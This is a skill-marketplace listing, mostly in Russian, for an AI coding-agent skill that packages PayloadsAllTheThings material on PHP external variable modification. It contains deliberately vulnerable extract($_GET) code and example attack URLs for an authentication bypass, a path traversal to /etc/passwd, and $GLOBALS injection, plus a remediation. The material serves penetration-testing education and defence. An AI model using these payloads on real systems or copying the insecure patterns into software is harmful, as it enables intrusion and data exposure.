payloads-ext-var
БесплатноБез исполняемых скриптовНе проверенExternal Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables…
от smartworldarafath★ 68 звёзд на GitHubОб этом скилле
External Variable Modification Payloads
Source: PayloadsAllTheThings/External Variable Modification Category:
payloads-research| Skill ID:payloads-ext-var
Overview
External variable modification payloads for global scope poisoning and configuration injection.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the External Variable Modification Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
Workflow
1. Recon & Identification
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below
2. Payload Selection
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques
3. Exploitation (Authorized Only)
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)
4. Verification & Reporting
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes
Full PATT Reference
External Variable Modification
External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.
Summary
Methodology
The extract() function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data.
- It allows overwriting existing variables.
- It can lead to variable pollution, impacting security mechanisms.
- It can be used as a gadget to trigger other vulnerabilities like Remote Code Execution (RCE) and Local File Inclusion (LFI).
By default, extract() uses EXTR_OVERWRITE, meaning it replaces existing variables if they share the same name as keys in the input array.
Overwriting Critical Variables
If extract() is used in a script that relies on specific variables, an attacker can manipulate them.
<?php
$authenticated = false;
extract($_GET);
if ($authenticated) {
echo "Access granted!";
} else {
echo "Access denied!";
}
?>
Exploitation:
In this example, the use of extract($_GET) allow an attacker to set the $authenticated variable to true:
http://example.com/vuln.php?authenticated=true
http://example.com/vuln.php?authenticated=1
Poisoning File Inclusion
If extract() is combined with file inclusion, attackers can control file paths.
<?php
$page = "config.php";
extract($_GET);
include "$page";
?>
Exploitation:
http://example.com/vuln.php?page=../../etc/passwd
Global Variable Injection
:warning: As of PHP 8.1.0, write access to the entire $GLOBALS array is no longer supported.
Overwriting $GLOBALS when an application calls extract function on untrusted value:
extract($_GET);
An attacker can manipulate global variables:
http://example.com/vuln.php?GLOBALS[admin]=1
Remediations
Use EXTR_SKIP to prevent overwriting:
extract($_GET, EXTR_SKIP);
References
- CWE-473: PHP External Variable Modification - Common Weakness Enumeration - November 19, 2024
- CWE-621: Variable Extraction Error - Common Weakness Enumeration - November 19, 2024
- Function extract - PHP Documentation - March 21, 2001
- $GLOBALS variables - PHP Documentation - April 30, 2008
- [The Ducks - HackThisSite - December 14, 2016](https://githu
Установить payloads-ext-var в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
Вложенные файлы
FAQ
Что делает скилл payloads-ext-var?
External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($GET), extract($POST), or importrequestvariables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized...
Как установить скилл payloads-ext-var?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл payloads-ext-var запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
skill-creator
Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an…
от Anthropicdiscernment-nudge
After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals…
от Anthropicdata-consolidate
Joins the plant's scheduled exports and connector data into one working dataset — ERP items (NetSuite or Infor M3), sales orders, production work orders…
от Anthropicinspection-to-capa
Runs the quality chain end to end: writes the nonconformance against the requirement it violates, searches history at the moment of writing to say whether…
от Anthropic